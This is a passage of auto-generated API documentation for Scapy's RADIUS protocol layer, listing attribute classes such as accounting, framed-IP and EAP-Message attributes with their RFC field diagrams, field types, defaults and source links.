	Computes the authenticator field (RFC 2865 - Section 3)






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         AUTHENTICATOR                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Radius                            


Radius fields






	code

	ByteEnumField

	1



	id

	ByteField

	0



	len

	FieldLenField

	None



	authenticator

	XStrFixedLenField

	b''



	attributes

	PacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L1178-L1184]

	








	
class scapy.layers.radius.RadiusAttr_ARAP_Security(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L409-L411]

	Bases: _RadiusAttrIntValue

RFC 2869


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RadiusAttr_ARAP_Security                   


RadiusAttr_ARAP_Security fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 73

	








	
class scapy.layers.radius.RadiusAttr_Acct_Authentic(_pkt, /, *, type=6, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L999-L1001]

	Bases: _RadiusAttrIntEnumVal

RFC 2866


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RadiusAttr_Acct_Authentic                  


RadiusAttr_Acct_Authentic fields






	type

	ByteEnumField

	6



	len

	ByteField

	6



	value

	MultiEnumField (Depends on 45)

	0











	
val = 45

	








	
class scapy.layers.radius.RadiusAttr_Acct_Delay_Time(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L354-L356]

	Bases: _RadiusAttrIntValue

RFC 2866


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RadiusAttr_Acct_Delay_Time                  


RadiusAttr_Acct_Delay_Time fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 41

	








	
class scapy.layers.radius.RadiusAttr_Acct_Input_Gigawords(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L389-L391]

	Bases: _RadiusAttrIntValue

RFC 2869


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. RadiusAttr_Acct_Input_Gigawords               


RadiusAttr_Acct_Input_Gigawords fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 52

	








	
class scapy.layers.radius.RadiusAttr_Acct_Input_Octets(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L359-L361]

	Bases: _RadiusAttrIntValue

RFC 2866


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadiusAttr_Acct_Input_Octets                 


RadiusAttr_Acct_Input_Octets fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 42

	








	
class scapy.layers.radius.RadiusAttr_Acct_Input_Packets(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L374-L376]

	Bases: _RadiusAttrIntValue

RFC 2866


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadiusAttr_Acct_Input_Packets                


RadiusAttr_Acct_Input_Packets fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 47

	








	
class scapy.layers.radius.RadiusAttr_Acct_Interim_Interval(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L424-L426]

	Bases: _RadiusAttrIntValue

RFC 2869


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. RadiusAttr_Acct_Interim_Interval               


RadiusAttr_Acct_Interim_Interval fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 85

	








	
class scapy.layers.radius.RadiusAttr_Acct_Link_Count(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L384-L386]

	Bases: _RadiusAttrIntValue

RFC 2866


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RadiusAttr_Acct_Link_Count                  


RadiusAttr_Acct_Link_Count fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 51

	








	
class scapy.layers.radius.RadiusAttr_Acct_Output_Gigawords(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L394-L396]

	Bases: _RadiusAttrIntValue

RFC 2869


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. RadiusAttr_Acct_Output_Gigawords               


RadiusAttr_Acct_Output_Gigawords fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 53

	








	
class scapy.layers.radius.RadiusAttr_Acct_Output_Octets(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L364-L366]

	Bases: _RadiusAttrIntValue

RFC 2866


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadiusAttr_Acct_Output_Octets                


RadiusAttr_Acct_Output_Octets fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 43

	








	
class scapy.layers.radius.RadiusAttr_Acct_Output_Packets(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L379-L381]

	Bases: _RadiusAttrIntValue

RFC 2866


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. RadiusAttr_Acct_Output_Packets                


RadiusAttr_Acct_Output_Packets fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 48

	








	
class scapy.layers.radius.RadiusAttr_Acct_Session_Time(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L369-L371]

	Bases: _RadiusAttrIntValue

RFC 2866


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadiusAttr_Acct_Session_Time                 


RadiusAttr_Acct_Session_Time fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 46

	








	
class scapy.layers.radius.RadiusAttr_Acct_Status_Type(_pkt, /, *, type=6, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L994-L996]

	Bases: _RadiusAttrIntEnumVal

RFC 2866


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RadiusAttr_Acct_Status_Type                 


RadiusAttr_Acct_Status_Type fields






	type

	ByteEnumField

	6



	len

	ByteField

	6



	value

	MultiEnumField (Depends on 40)

	0











	
val = 40

	








	
class scapy.layers.radius.RadiusAttr_Acct_Terminate_Cause(_pkt, /, *, type=6, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L1004-L1006]

	Bases: _RadiusAttrIntEnumVal

RFC 2866


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. RadiusAttr_Acct_Terminate_Cause               


RadiusAttr_Acct_Terminate_Cause fields






	type

	ByteEnumField

	6



	len

	ByteField

	6



	value

	MultiEnumField (Depends on 49)

	0











	
val = 49

	








	
class scapy.layers.radius.RadiusAttr_Acct_Tunnel_Packets_Lost(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L429-L431]

	Bases: _RadiusAttrIntValue

RFC 2867


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. RadiusAttr_Acct_Tunnel_Packets_Lost             


RadiusAttr_Acct_Tunnel_Packets_Lost fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 86

	








	
class scapy.layers.radius.RadiusAttr_EAP_Message(_pkt, /, *, type=79, len=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L1031-L1065]

	Bases: RadiusAttribute

Implements the “EAP-Message” attribute (RFC 3579).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. RadiusAttr_EAP_Message                    


RadiusAttr_EAP_Message fields






	type

	ByteEnumField

	79



	len

	FieldLenField

	None



	value

	_EAPPacketField

	b''











	
match_subclass = True

	




	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L1049-L1065]

	








	
class scapy.layers.radius.RadiusAttr_Egress_VLANID(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L399-L401]

	Bases: _RadiusAttrIntValue

RFC 4675


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RadiusAttr_Egress_VLANID                   


RadiusAttr_Egress_VLANID fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 56

	








	
class scapy.layers.radius.RadiusAttr_Framed_AppleTalk_Link(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L344-L346]

	Bases: _RadiusAttrIntValue

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. RadiusAttr_Framed_AppleTalk_Link               


RadiusAttr_Framed_AppleTalk_Link fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 37

	








	
class scapy.layers.radius.RadiusAttr_Framed_AppleTalk_Network(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L349-L351]

	Bases: _RadiusAttrIntValue

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. RadiusAttr_Framed_AppleTalk_Network             


RadiusAttr_Framed_AppleTalk_Network fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 38

	








	
class scapy.layers.radius.RadiusAttr_Framed_IPX_Network(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L620-L622]

	Bases: _RadiusAttrIPv4AddrVal

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadiusAttr_Framed_IPX_Network                


RadiusAttr_Framed_IPX_Network fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 23

	








	
class scapy.layers.radius.RadiusAttr_Framed_IP_Address(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L605-L607]

	Bases: _RadiusAttrIPv4AddrVal

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadiusAttr_Framed_IP_Address                 


RadiusAttr_Framed_IP_Address fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 8

	








	
class scapy.layers.radius.RadiusAttr_Framed_IP_Netmask(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L610-L612]

	Bases: _RadiusAttrIPv4AddrVal

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadiusAttr_Framed_IP_Netmask                 


RadiusAttr_Framed_IP_Netmask fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 9

	








	
class scapy.layers.radius.RadiusAttr_Framed_MTU(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L324-L326]

	Bases: _RadiusAttrIntValue

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. RadiusAttr_Framed_MTU                    


RadiusAttr_Framed_MTU fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 12

	








	
class scapy.layers.radius.RadiusAttr_Framed_Protocol(_pkt, /, *, type=6, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L989-L991]

	Bases: _RadiusAttrIntEnumVal

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RadiusAttr_Framed_Protocol                  


RadiusAttr_Framed_Protocol fields






	type

	ByteEnumField

	6



	len

	ByteField

	6



	value

	MultiEnumField (Depends on 7)

	0











	
val = 7

	








	
class scapy.layers.radius.RadiusAttr_Idle_Timeout(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L339-L341]

	Bases: _RadiusAttrIntValue

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. RadiusAttr_Idle_Timeout                   


RadiusAttr_Idle_Timeout fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 28

	








	
class scapy.layers.radius.RadiusAttr_Login_IP_Host(_pkt, /, *, type=4, len=6, value='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L615-L617]

	Bases: _RadiusAttrIPv4AddrVal

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RadiusAttr_Login_IP_Host                   


RadiusAttr_Login_IP_Host fields






	type

	ByteEnumField

	4



	len

	ByteField

	6



	value

	IPField

	'0.0.0.0'











	
val = 14

	








	
class scapy.layers.radius.RadiusAttr_Login_TCP_Port(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L329-L331]

	Bases: _RadiusAttrIntValue

RFC 2865


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RadiusAttr_Login_TCP_Port                  


RadiusAttr_Login_TCP_Port fields






	type

	ByteEnumField

	5



	len

	ByteField

	6



	value

	IntField

	0











	
val = 16

	








	
class scapy.layers.radius.RadiusAttr_Management_Privilege_Level(_pkt, /, *, type=5, len=6, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L434-L436]

	Bases: _RadiusAttrIntValue

RFC 5607


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
